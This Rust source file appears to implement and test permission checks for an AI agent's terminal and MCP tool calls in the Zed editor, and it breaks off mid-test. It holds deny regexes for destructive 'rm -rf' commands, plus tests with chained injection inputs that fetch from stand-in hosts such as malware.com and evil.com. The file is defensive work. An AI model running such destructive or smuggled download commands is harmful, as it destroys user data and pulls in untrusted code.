1use crate::AgentTool;
2use crate::shell_parser::extract_commands;
3use crate::tools::TerminalTool;
4use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
5use settings::ToolPermissionMode;
6use std::sync::LazyLock;
7use util::shell::ShellKind;
8
9const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
10 harmful to be allowed, and cannot be overridden by settings.";
11
12/// Security rules that are always enforced and cannot be overridden by any setting.
13/// These protect against catastrophic operations like wiping filesystems.
14pub struct HardcodedSecurityRules {
15 pub terminal_deny: Vec<CompiledRegex>,
16}
17
18pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
19 HardcodedSecurityRules {
20 // Case-insensitive; `(-[rf]+\s+)*` handles `-rf`, `-fr`, `-RF`, `-r -f`, etc.
21 terminal_deny: vec![
22 // Recursive deletion of root - "rm -rf /" or "rm -rf / "
23 CompiledRegex::new(r"rm\s+(-[rf]+\s+)*/\s*$", false)
24 .expect("hardcoded regex should compile"),
25 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" (but not ~/subdir)
26 CompiledRegex::new(r"rm\s+(-[rf]+\s+)*~/?\s*$", false)
27 .expect("hardcoded regex should compile"),
28 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}"
29 CompiledRegex::new(r"rm\s+(-[rf]+\s+)*(\$HOME|\$\{HOME\})/?\s*$", false)
30 .expect("hardcoded regex should compile"),
31 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./"
32 CompiledRegex::new(r"rm\s+(-[rf]+\s+)*\./?\s*$", false)
33 .expect("hardcoded regex should compile"),
34 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../"
35 CompiledRegex::new(r"rm\s+(-[rf]+\s+)*\.\./?\s*$", false)
36 .expect("hardcoded regex should compile"),
37 ],
38 }
39});
40
41/// Checks if input matches any hardcoded security rules that cannot be bypassed.
42/// Returns a Deny decision if blocked, None otherwise.
43fn check_hardcoded_security_rules(
44 tool_name: &str,
45 input: &str,
46 shell_kind: ShellKind,
47) -> Option<ToolPermissionDecision> {
48 // Currently only terminal tool has hardcoded rules
49 if tool_name != TerminalTool::name() {
50 return None;
51 }
52
53 let rules = &*HARDCODED_SECURITY_RULES;
54 let terminal_patterns = &rules.terminal_deny;
55
56 // First: check the original input as-is
57 for pattern in terminal_patterns {
58 if pattern.is_match(input) {
59 return Some(ToolPermissionDecision::Deny(
60 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
61 ));
62 }
63 }
64
65 // Second: parse and check individual sub-commands (for chained commands)
66 if shell_kind.supports_posix_chaining() {
67 if let Some(commands) = extract_commands(input) {
68 for command in &commands {
69 for pattern in terminal_patterns {
70 if pattern.is_match(command) {
71 return Some(ToolPermissionDecision::Deny(
72 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
73 ));
74 }
75 }
76 }
77 }
78 }
79
80 None
81}
82
83#[derive(Debug, Clone, PartialEq, Eq)]
84pub enum ToolPermissionDecision {
85 Allow,
86 Deny(String),
87 Confirm,
88}
89
90impl ToolPermissionDecision {
91 /// Determines the permission decision for a tool invocation based on configured rules.
92 ///
93 /// # Precedence Order (highest to lowest)
94 ///
95 /// 1. **`always_allow_tool_actions`** - When enabled, allows all tool actions without
96 /// prompting. This global setting bypasses all other checks including deny patterns.
97 /// Use with caution as it disables all security rules.
98 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
99 /// This takes precedence over `always_confirm` and `always_allow` patterns.
100 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
101 /// the user is prompted for confirmation.
102 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
103 /// the tool call proceeds without prompting.
104 /// 5. **`default_mode`** - If no patterns match, falls back to the tool's default mode.
105 ///
106 /// # Shell Compatibility (Terminal Tool Only)
107 ///
108 /// For the terminal tool, commands are parsed to extract sub-commands for security.
109 /// This parsing only works for shells with POSIX-like `&&` / `||` / `;` / `|` syntax:
110 ///
111 /// **Compatible shells:** Posix (sh, bash, dash, zsh), Fish 3.0+, PowerShell 7+/Pwsh,
112 /// Cmd, Xonsh, Csh, Tcsh
113 ///
114 /// **Incompatible shells:** Nushell, Elvish, Rc (Plan 9)
115 ///
116 /// For incompatible shells, `always_allow` patterns are disabled for safety.
117 ///
118 /// # Pattern Matching Tips
119 ///
120 /// Patterns are matched as regular expressions against the tool input (e.g., the command
121 /// string for the terminal tool). Some tips for writing effective patterns:
122 ///
123 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
124 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
125 /// This is important for security rules where you want to block specific commands
126 /// without accidentally blocking unrelated commands that happen to contain the same
127 /// substring.
128 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
129 /// - Use `^` and `$` anchors to match the start/end of the input.
130 pub fn from_input(
131 tool_name: &str,
132 input: &str,
133 permissions: &ToolPermissions,
134 always_allow_tool_actions: bool,
135 shell_kind: ShellKind,
136 ) -> ToolPermissionDecision {
137 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
138 // These cannot be bypassed by any user settings.
139 if let Some(denial) = check_hardcoded_security_rules(tool_name, input, shell_kind) {
140 return denial;
141 }
142
143 // If always_allow_tool_actions is enabled, bypass user-configured permission checks.
144 // Note: This no longer bypasses hardcoded security rules (checked above).
145 if always_allow_tool_actions {
146 return ToolPermissionDecision::Allow;
147 }
148
149 let rules = match permissions.tools.get(tool_name) {
150 Some(rules) => rules,
151 None => {
152 return ToolPermissionDecision::Confirm;
153 }
154 };
155
156 // Check for invalid regex patterns before evaluating rules.
157 // If any patterns failed to compile, block the tool call entirely.
158 if let Some(error) = check_invalid_patterns(tool_name, rules) {
159 return ToolPermissionDecision::Deny(error);
160 }
161
162 // For the terminal tool, parse the command to extract all sub-commands.
163 // This prevents shell injection attacks where a user configures an allow
164 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
165 //
166 // If parsing fails or the shell syntax is unsupported, always_allow is
167 // disabled for this command (we set allow_enabled to false to signal this).
168 if tool_name == TerminalTool::name() {
169 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
170 // See the doc comment above for the list of compatible/incompatible shells.
171 if !shell_kind.supports_posix_chaining() {
172 // For shells with incompatible syntax, we can't reliably parse
173 // the command to extract sub-commands.
174 if !rules.always_allow.is_empty() {
175 // If the user has configured always_allow patterns, we must deny
176 // because we can't safely verify the command doesn't contain
177 // hidden sub-commands that bypass the allow patterns.
178 return ToolPermissionDecision::Deny(format!(
179 "The {} shell does not support \"always allow\" patterns for the terminal \
180 tool because Zed cannot parse its command chaining syntax. Please remove \
181 the always_allow patterns from your tool_permissions settings, or switch \
182 to a POSIX-conforming shell.",
183 shell_kind
184 ));
185 }
186 // No always_allow rules, so we can still check deny/confirm patterns.
187 return check_commands(std::iter::once(input.to_string()), rules, tool_name, false);
188 }
189
190 match extract_commands(input) {
191 Some(commands) => check_commands(commands, rules, tool_name, true),
192 None => {
193 // The command failed to parse, so we check to see if we should auto-deny
194 // or auto-confirm; if neither auto-deny nor auto-confirm applies here,
195 // fall back on the default (based on the user's settings, which is Confirm
196 // if not specified otherwise). Ignore "always allow" when it failed to parse.
197 check_commands(std::iter::once(input.to_string()), rules, tool_name, false)
198 }
199 }
200 } else {
201 check_commands(std::iter::once(input.to_string()), rules, tool_name, true)
202 }
203 }
204}
205
206/// Evaluates permission rules against a set of commands.
207///
208/// This function performs a single pass through all commands with the following logic:
209/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
210/// - **CONFIRM**: Track if ANY command matches a confirm pattern
211/// - **ALLOW**: Track if ALL commands match at least one allow pattern
212///
213/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
214/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
215/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
216fn check_commands(
217 commands: impl IntoIterator<Item = String>,
218 rules: &ToolRules,
219 tool_name: &str,
220 allow_enabled: bool,
221) -> ToolPermissionDecision {
222 // Single pass through all commands:
223 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
224 // - CONFIRM: Track if ANY command matches a confirm pattern
225 // - ALLOW: Track if ALL commands match at least one allow pattern
226 let mut any_matched_confirm = false;
227 let mut all_matched_allow = true;
228 let mut had_any_commands = false;
229
230 for command in commands {
231 had_any_commands = true;
232
233 // DENY: immediate return if any command matches a deny pattern
234 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
235 return ToolPermissionDecision::Deny(format!(
236 "Command blocked by security rule for {} tool",
237 tool_name
238 ));
239 }
240
241 // CONFIRM: remember if any command matches a confirm pattern
242 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
243 any_matched_confirm = true;
244 }
245
246 // ALLOW: track if all commands match at least one allow pattern
247 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
248 all_matched_allow = false;
249 }
250 }
251
252 // After processing all commands, check accumulated state
253 if any_matched_confirm {
254 return ToolPermissionDecision::Confirm;
255 }
256
257 if allow_enabled && all_matched_allow && had_any_commands {
258 return ToolPermissionDecision::Allow;
259 }
260
261 match rules.default_mode {
262 ToolPermissionMode::Deny => {
263 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
264 }
265 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
266 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
267 }
268}
269
270/// Checks if the tool rules contain any invalid regex patterns.
271/// Returns an error message if invalid patterns are found.
272fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
273 if rules.invalid_patterns.is_empty() {
274 return None;
275 }
276
277 let count = rules.invalid_patterns.len();
278 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
279
280 Some(format!(
281 "The {} tool cannot run because {} regex {} failed to compile. \
282 Please fix the invalid patterns in your tool_permissions settings.",
283 tool_name, count, pattern_word
284 ))
285}
286
287/// Convenience wrapper that extracts permission settings from `AgentSettings`.
288///
289/// This is the primary entry point for tools to check permissions. It extracts
290/// `tool_permissions` and `always_allow_tool_actions` from the settings and
291/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
292pub fn decide_permission_from_settings(
293 tool_name: &str,
294 input: &str,
295 settings: &AgentSettings,
296) -> ToolPermissionDecision {
297 ToolPermissionDecision::from_input(
298 tool_name,
299 input,
300 &settings.tool_permissions,
301 settings.always_allow_tool_actions,
302 ShellKind::system(),
303 )
304}
305
306#[cfg(test)]
307mod tests {
308 use super::*;
309 use crate::pattern_extraction::extract_terminal_pattern;
310 use agent_settings::{CompiledRegex, InvalidRegexPattern, ToolRules};
311 use std::sync::Arc;
312
313 fn pattern(command: &str) -> &'static str {
314 Box::leak(
315 extract_terminal_pattern(command)
316 .expect("failed to extract pattern")
317 .into_boxed_str(),
318 )
319 }
320
321 struct PermTest {
322 tool: &'static str,
323 input: &'static str,
324 mode: ToolPermissionMode,
325 allow: Vec<(&'static str, bool)>,
326 deny: Vec<(&'static str, bool)>,
327 confirm: Vec<(&'static str, bool)>,
328 global: bool,
329 shell: ShellKind,
330 }
331
332 impl PermTest {
333 fn new(input: &'static str) -> Self {
334 Self {
335 tool: "terminal",
336 input,
337 mode: ToolPermissionMode::Confirm,
338 allow: vec![],
339 deny: vec![],
340 confirm: vec![],
341 global: false,
342 shell: ShellKind::Posix,
343 }
344 }
345
346 fn tool(mut self, t: &'static str) -> Self {
347 self.tool = t;
348 self
349 }
350 fn mode(mut self, m: ToolPermissionMode) -> Self {
351 self.mode = m;
352 self
353 }
354 fn allow(mut self, p: &[&'static str]) -> Self {
355 self.allow = p.iter().map(|s| (*s, false)).collect();
356 self
357 }
358 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
359 self.allow = p.iter().map(|s| (*s, true)).collect();
360 self
361 }
362 fn deny(mut self, p: &[&'static str]) -> Self {
363 self.deny = p.iter().map(|s| (*s, false)).collect();
364 self
365 }
366 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
367 self.deny = p.iter().map(|s| (*s, true)).collect();
368 self
369 }
370 fn confirm(mut self, p: &[&'static str]) -> Self {
371 self.confirm = p.iter().map(|s| (*s, false)).collect();
372 self
373 }
374 fn global(mut self, g: bool) -> Self {
375 self.global = g;
376 self
377 }
378 fn shell(mut self, s: ShellKind) -> Self {
379 self.shell = s;
380 self
381 }
382
383 fn is_allow(self) {
384 assert_eq!(
385 self.run(),
386 ToolPermissionDecision::Allow,
387 "expected Allow for '{}'",
388 self.input
389 );
390 }
391 fn is_deny(self) {
392 assert!(
393 matches!(self.run(), ToolPermissionDecision::Deny(_)),
394 "expected Deny for '{}'",
395 self.input
396 );
397 }
398 fn is_confirm(self) {
399 assert_eq!(
400 self.run(),
401 ToolPermissionDecision::Confirm,
402 "expected Confirm for '{}'",
403 self.input
404 );
405 }
406
407 fn run(&self) -> ToolPermissionDecision {
408 let mut tools = collections::HashMap::default();
409 tools.insert(
410 Arc::from(self.tool),
411 ToolRules {
412 default_mode: self.mode,
413 always_allow: self
414 .allow
415 .iter()
416 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
417 .collect(),
418 always_deny: self
419 .deny
420 .iter()
421 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
422 .collect(),
423 always_confirm: self
424 .confirm
425 .iter()
426 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
427 .collect(),
428 invalid_patterns: vec![],
429 },
430 );
431 ToolPermissionDecision::from_input(
432 self.tool,
433 self.input,
434 &ToolPermissions { tools },
435 self.global,
436 self.shell,
437 )
438 }
439 }
440
441 fn t(input: &'static str) -> PermTest {
442 PermTest::new(input)
443 }
444
445 fn no_rules(input: &str, global: bool) -> ToolPermissionDecision {
446 ToolPermissionDecision::from_input(
447 "terminal",
448 input,
449 &ToolPermissions {
450 tools: collections::HashMap::default(),
451 },
452 global,
453 ShellKind::Posix,
454 )
455 }
456
457 // allow pattern matches
458 #[test]
459 fn allow_exact_match() {
460 t("cargo test").allow(&[pattern("cargo")]).is_allow();
461 }
462 #[test]
463 fn allow_one_of_many_patterns() {
464 t("npm install")
465 .allow(&[pattern("cargo"), pattern("npm")])
466 .is_allow();
467 t("git status")
468 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
469 .is_allow();
470 }
471 #[test]
472 fn allow_middle_pattern() {
473 t("run cargo now").allow(&["cargo"]).is_allow();
474 }
475 #[test]
476 fn allow_anchor_prevents_middle() {
477 t("run cargo now").allow(&["^cargo"]).is_confirm();
478 }
479
480 // allow pattern doesn't match -> falls through
481 #[test]
482 fn allow_no_match_confirms() {
483 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
484 }
485 #[test]
486 fn allow_no_match_global_allows() {
487 t("python x.py")
488 .allow(&[pattern("cargo")])
489 .global(true)
490 .is_allow();
491 }
492
493 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
494 #[test]
495 fn deny_blocks() {
496 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
497 }
498 #[test]
499 fn global_bypasses_user_deny() {
500 // always_allow_tool_actions bypasses user-configured deny rules
501 t("rm -rf ./temp")
502 .deny(&["rm\\s+-rf"])
503 .global(true)
504 .is_allow();
505 }
506 #[test]
507 fn deny_blocks_with_mode_allow() {
508 t("rm -rf ./temp")
509 .deny(&["rm\\s+-rf"])
510 .mode(ToolPermissionMode::Allow)
511 .is_deny();
512 }
513 #[test]
514 fn deny_middle_match() {
515 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
516 }
517 #[test]
518 fn deny_no_match_falls_through() {
519 t("ls -la")
520 .deny(&["rm\\s+-rf"])
521 .mode(ToolPermissionMode::Allow)
522 .is_allow();
523 }
524
525 // confirm pattern matches
526 #[test]
527 fn confirm_requires_confirm() {
528 t("sudo apt install")
529 .confirm(&[pattern("sudo")])
530 .is_confirm();
531 }
532 #[test]
533 fn global_overrides_confirm() {
534 t("sudo reboot")
535 .confirm(&[pattern("sudo")])
536 .global(true)
537 .is_allow();
538 }
539 #[test]
540 fn confirm_overrides_mode_allow() {
541 t("sudo x")
542 .confirm(&["sudo"])
543 .mode(ToolPermissionMode::Allow)
544 .is_confirm();
545 }
546
547 // confirm beats allow
548 #[test]
549 fn confirm_beats_allow() {
550 t("git push --force")
551 .allow(&[pattern("git")])
552 .confirm(&["--force"])
553 .is_confirm();
554 }
555 #[test]
556 fn confirm_beats_allow_overlap() {
557 t("deploy prod")
558 .allow(&["deploy"])
559 .confirm(&["prod"])
560 .is_confirm();
561 }
562 #[test]
563 fn allow_when_confirm_no_match() {
564 t("git status")
565 .allow(&[pattern("git")])
566 .confirm(&["--force"])
567 .is_allow();
568 }
569
570 // deny beats allow
571 #[test]
572 fn deny_beats_allow() {
573 t("rm -rf ./tmp/x")
574 .allow(&["/tmp/"])
575 .deny(&["rm\\s+-rf"])
576 .is_deny();
577 }
578
579 #[test]
580 fn deny_beats_confirm() {
581 t("sudo rm -rf ./temp")
582 .confirm(&["sudo"])
583 .deny(&["rm\\s+-rf"])
584 .is_deny();
585 }
586
587 // deny beats everything
588 #[test]
589 fn deny_beats_all() {
590 t("bad cmd")
591 .allow(&["cmd"])
592 .confirm(&["cmd"])
593 .deny(&["bad"])
594 .is_deny();
595 }
596
597 // no patterns -> default_mode
598 #[test]
599 fn default_confirm() {
600 t("python x.py")
601 .mode(ToolPermissionMode::Confirm)
602 .is_confirm();
603 }
604 #[test]
605 fn default_allow() {
606 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
607 }
608 #[test]
609 fn default_deny() {
610 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
611 }
612 #[test]
613 fn default_deny_global_true() {
614 t("python x.py")
615 .mode(ToolPermissionMode::Deny)
616 .global(true)
617 .is_allow();
618 }
619
620 #[test]
621 fn default_confirm_global_true() {
622 t("x")
623 .mode(ToolPermissionMode::Confirm)
624 .global(true)
625 .is_allow();
626 }
627
628 #[test]
629 fn no_rules_confirms_by_default() {
630 assert_eq!(no_rules("x", false), ToolPermissionDecision::Confirm);
631 }
632
633 #[test]
634 fn empty_input_no_match() {
635 t("")
636 .deny(&["rm"])
637 .mode(ToolPermissionMode::Allow)
638 .is_allow();
639 }
640
641 #[test]
642 fn empty_input_with_allow_falls_to_default() {
643 t("").allow(&["^ls"]).is_confirm();
644 }
645
646 #[test]
647 fn multi_deny_any_match() {
648 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
649 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
650 }
651
652 #[test]
653 fn multi_allow_any_match() {
654 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
655 }
656 #[test]
657 fn multi_none_match() {
658 t("python x")
659 .allow(&["^cargo", "^npm"])
660 .deny(&["rm"])
661 .is_confirm();
662 }
663
664 // tool isolation
665 #[test]
666 fn other_tool_not_affected() {
667 let mut tools = collections::HashMap::default();
668 tools.insert(
669 Arc::from("terminal"),
670 ToolRules {
671 default_mode: ToolPermissionMode::Deny,
672 always_allow: vec![],
673 always_deny: vec![],
674 always_confirm: vec![],
675 invalid_patterns: vec![],
676 },
677 );
678 tools.insert(
679 Arc::from("edit_file"),
680 ToolRules {
681 default_mode: ToolPermissionMode::Allow,
682 always_allow: vec![],
683 always_deny: vec![],
684 always_confirm: vec![],
685 invalid_patterns: vec![],
686 },
687 );
688 let p = ToolPermissions { tools };
689 // With always_allow_tool_actions=true, even default_mode: Deny is overridden
690 assert_eq!(
691 ToolPermissionDecision::from_input("terminal", "x", &p, true, ShellKind::Posix),
692 ToolPermissionDecision::Allow
693 );
694 // With always_allow_tool_actions=false, default_mode: Deny is respected
695 assert!(matches!(
696 ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
697 ToolPermissionDecision::Deny(_)
698 ));
699 assert_eq!(
700 ToolPermissionDecision::from_input("edit_file", "x", &p, false, ShellKind::Posix),
701 ToolPermissionDecision::Allow
702 );
703 }
704
705 #[test]
706 fn partial_tool_name_no_match() {
707 let mut tools = collections::HashMap::default();
708 tools.insert(
709 Arc::from("term"),
710 ToolRules {
711 default_mode: ToolPermissionMode::Deny,
712 always_allow: vec![],
713 always_deny: vec![],
714 always_confirm: vec![],
715 invalid_patterns: vec![],
716 },
717 );
718 let p = ToolPermissions { tools };
719 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
720 assert_eq!(
721 ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
722 ToolPermissionDecision::Confirm
723 );
724 }
725
726 // invalid patterns block the tool (but global bypasses all checks)
727 #[test]
728 fn invalid_pattern_blocks() {
729 let mut tools = collections::HashMap::default();
730 tools.insert(
731 Arc::from("terminal"),
732 ToolRules {
733 default_mode: ToolPermissionMode::Allow,
734 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
735 always_deny: vec![],
736 always_confirm: vec![],
737 invalid_patterns: vec![InvalidRegexPattern {
738 pattern: "[bad".into(),
739 rule_type: "always_deny".into(),
740 error: "err".into(),
741 }],
742 },
743 );
744 let p = ToolPermissions {
745 tools: tools.clone(),
746 };
747 // With global=true, all checks are bypassed including invalid pattern check
748 assert!(matches!(
749 ToolPermissionDecision::from_input("terminal", "echo hi", &p, true, ShellKind::Posix),
750 ToolPermissionDecision::Allow
751 ));
752 // With global=false, invalid patterns block the tool
753 assert!(matches!(
754 ToolPermissionDecision::from_input("terminal", "echo hi", &p, false, ShellKind::Posix),
755 ToolPermissionDecision::Deny(_)
756 ));
757 }
758
759 #[test]
760 fn shell_injection_via_double_ampersand_not_allowed() {
761 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
762 }
763
764 #[test]
765 fn shell_injection_via_semicolon_not_allowed() {
766 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
767 }
768
769 #[test]
770 fn shell_injection_via_pipe_not_allowed() {
771 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
772 }
773
774 #[test]
775 fn shell_injection_via_backticks_not_allowed() {
776 t("echo `wget malware.com`")
777 .allow(&[pattern("echo")])
778 .is_confirm();
779 }
780
781 #[test]
782 fn shell_injection_via_dollar_parens_not_allowed() {
783 t("echo $(wget malware.com)")
784 .allow(&[pattern("echo")])
785 .is_confirm();
786 }
787
788 #[test]
789 fn shell_injection_via_or_operator_not_allowed() {
790 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
791 }
792
793 #[test]
794 fn shell_injection_via_background_operator_not_allowed() {
795 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
796 }
797
798 #[test]
799 fn shell_injection_via_newline_not_allowed() {
800 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
801 }
802
803 #[test]
804 fn shell_injection_via_process_substitution_input_not_allowed() {
805 t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
806 }
807
808 #[test]
809 fn shell_injection_via_process_substitution_output_not_allowed() {
810 t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
811 }
812
813 #[test]
814 fn shell_injection_without_spaces_not_allowed() {
815 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
816 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
817 }
818
819 #[test]
820 fn shell_injection_multiple_chained_operators_not_allowed() {
821 t("ls && echo hello && wget malware.com")
822 .allow(&["^ls"])
823 .is_confirm();
824 }
825
826 #[test]
827 fn shell_injection_mixed_operators_not_allowed() {
828 t("ls; echo hello && wget malware.com")
829 .allow(&["^ls"])
830 .is_confirm();
831 }
832
833 #[test]
834 fn shell_injection_pipe_stderr_not_allowed() {
835 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
836 }
837
838 #[test]
839 fn allow_requires_all_commands_to_match() {
840 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
841 }
842
843 #[test]
844 fn deny_triggers_on_any_matching_command() {
845 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
846 }
847
848 #[test]
849 fn deny_catches_injected_command() {
850 t("ls && rm -rf ./temp")
851 .allow(&["^ls"])
852 .deny(&["^rm"])
853 .is_deny();
854 }
855
856 #[test]
857 fn confirm_triggers_on_any_matching_command() {
858 t("ls && sudo reboot")
859 .allow(&["^ls"])
860 .confirm(&["^sudo"])
861 .is_confirm();
862 }
863
864 #[test]
865 fn always_allow_button_works_end_to_end() {
866 // This test verifies that the "Always Allow" button behavior works correctly:
867 // 1. User runs a command like "cargo build"
868 // 2. They click "Always Allow for `cargo` commands"
869 // 3. The pattern extracted from that command should match future cargo commands
870 let original_command = "cargo build --release";
871 let extracted_pattern = pattern(original_command);
872
873 // The extracted pattern should allow the original command
874 t(original_command).allow(&[extracted_pattern]).is_allow();
875
876 // It should also allow other commands with the same base command
877 t("cargo test").allow(&[extracted_pattern]).is_allow();
878 t("cargo fmt").allow(&[extracted_pattern]).is_allow();
879
880 // But not commands with different base commands
881 t("npm install").allow(&[extracted_pattern]).is_confirm();
882
883 // And it should work with subcommand extraction (chained commands)
884 t("cargo build && cargo test")
885 .allow(&[extracted_pattern])
886 .is_allow();
887
888 // But reject if any subcommand doesn't match
889 t("cargo build && npm install")
890 .allow(&[extracted_pattern])
891 .is_confirm();
892 }
893
894 #[test]
895 fn nested_command_substitution_all_checked() {
896 t("echo $(cat $(whoami).txt)")
897 .allow(&["^echo", "^cat", "^whoami"])
898 .is_allow();
899 }
900
901 #[test]
902 fn parse_failure_falls_back_to_confirm() {
903 t("ls &&").allow(&["^ls$"]).is_confirm();
904 }
905
906 #[test]
907 fn mcp_tool_default_modes() {
908 t("")
909 .tool("mcp:fs:read")
910 .mode(ToolPermissionMode::Allow)
911 .is_allow();
912 t("")
913 .tool("mcp:bad:del")
914 .mode(ToolPermissionMode::Deny)
915 .is_deny();
916 t("")
917 .tool("mcp:gh:issue")
918 .mode(ToolPermissionMode::Confirm)
919 .is_confirm();
920 t("")
921 .tool("mcp:gh:issue")
922 .mode(ToolPermissionMode::Confirm)
923 .global(true)
924 .is_allow();
925 }
926
927 #[test]
928 fn mcp_doesnt_collide_with_builtin() {
929 let mut tools = collections::HashMap::default();
930 tools.insert(
931 Arc::from("terminal"),
932 ToolRules {
933 default_mode: ToolPermissionMode::Deny,
934 always_allow: vec![],
935 always_deny: vec![],
936 always_confirm: vec![],
937 invalid_patterns: vec![],
938 },
939 );
940 tools.insert(
941 Arc::from("mcp:srv:terminal"),
942 ToolRules {
943 default_mode: ToolPermissionMode::Allow,
944 always_allow: vec![],
945 always_deny: vec![],
946 always_confirm: vec![],
947 invalid_patterns: vec![],
948 },
949 );
950 let p = ToolPermissions { tools };
951 assert!(matches!(
952 ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
953 ToolPermissionDecision::Deny(_)
954 ));
955 assert_eq!(
956 ToolPermissionDecision::from_input(
957 "mcp:srv:terminal",
958 "x",
959 &p,
960 false,
961 ShellKind::Posix
962 ),
963 ToolPermissionDecision::Allow
964 );
965 }
966
967 #[test]
968 fn case_insensitive_by_default() {
969 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
970 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
971 }
972
973 #[test]
974 fn case_sensitive_allow() {
975 t("cargo test")
976 .allow_case_sensitive(&[pattern("cargo")])
977 .is_allow();
978 t("CARGO TEST")
979 .allow_case_sensitive(&[pattern("cargo")])
980 .is_confirm();
981 }
982
983 #[test]
984 fn case_sensitive_deny() {
985 t("rm -rf ./temp")
986 .deny_case_sensitive(&[pattern("rm")])
987 .is_deny();
988 t("RM -RF ./temp")
989 .deny_case_sensitive(&[pattern("rm")])
990 .mode(ToolPermissionMode::Allow)
991 .is_allow();
992 }
993
994 #[test]
995 fn nushell_allows_with_allow_pattern() {
996 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
997 }
998
999 #[test]
1000 fn nushell_allows_deny_patterns() {
1001 t("rm -rf ./temp")
1002 .deny(&["rm\\s+-rf"])
1003 .shell(ShellKind::Nushell)
1004 .is_deny();
1005 }
1006
1007 #[test]
1008 fn nushell_allows_confirm_patterns() {
1009 t("sudo reboot")
1010 .confirm(&["sudo"])
1011 .shell(ShellKind::Nushell)
1012 .is_confirm();
1013 }
1014
1015 #[test]
1016 fn nushell_no_allow_patterns_uses_default() {
1017 t("ls")
1018 .deny(&["rm"])
1019 .mode(ToolPermissionMode::Allow)
1020 .shell(ShellKind::Nushell)
1021 .is_allow();
1022 }
1023
1024 #[test]
1025 fn elvish_allows_with_allow_pattern() {
1026 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1027 }
1028
1029 #[test]
1030 fn rc_allows_with_allow_pattern() {
1031 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1032 }
1033
1034 #[test]
1035 fn multiple_invalid_patterns_pluralizes_message() {
1036 let mut tools = collections::HashMap::default();
1037 tools.insert(
1038 Arc::from("terminal"),
1039 ToolRules {
1040 default_mode: ToolPermissionMode::Allow,
1041 always_allow: vec![],
1042 always_deny: vec![],
1043 always_confirm: vec![],
1044 invalid_patterns: vec![
1045 InvalidRegexPattern {
1046 pattern: "[bad1".into(),
1047 rule_type: "always_deny".into(),
1048 error: "err1".into(),
1049 },
1050 InvalidRegexPattern {
1051 pattern: "[bad2".into(),
1052 rule_type: "always_allow".into(),
1053 error: "err2".into(),
1054 },
1055 ],
1056 },
1057 );
1058 let p = ToolPermissions { tools };
1059
1060 let result =
1061 ToolPermissionDecision::from_input("terminal", "echo hi", &p, false, ShellKind::Posix);
1062 match result {
1063 ToolPermissionDecision::Deny(msg) => {
1064 assert!(
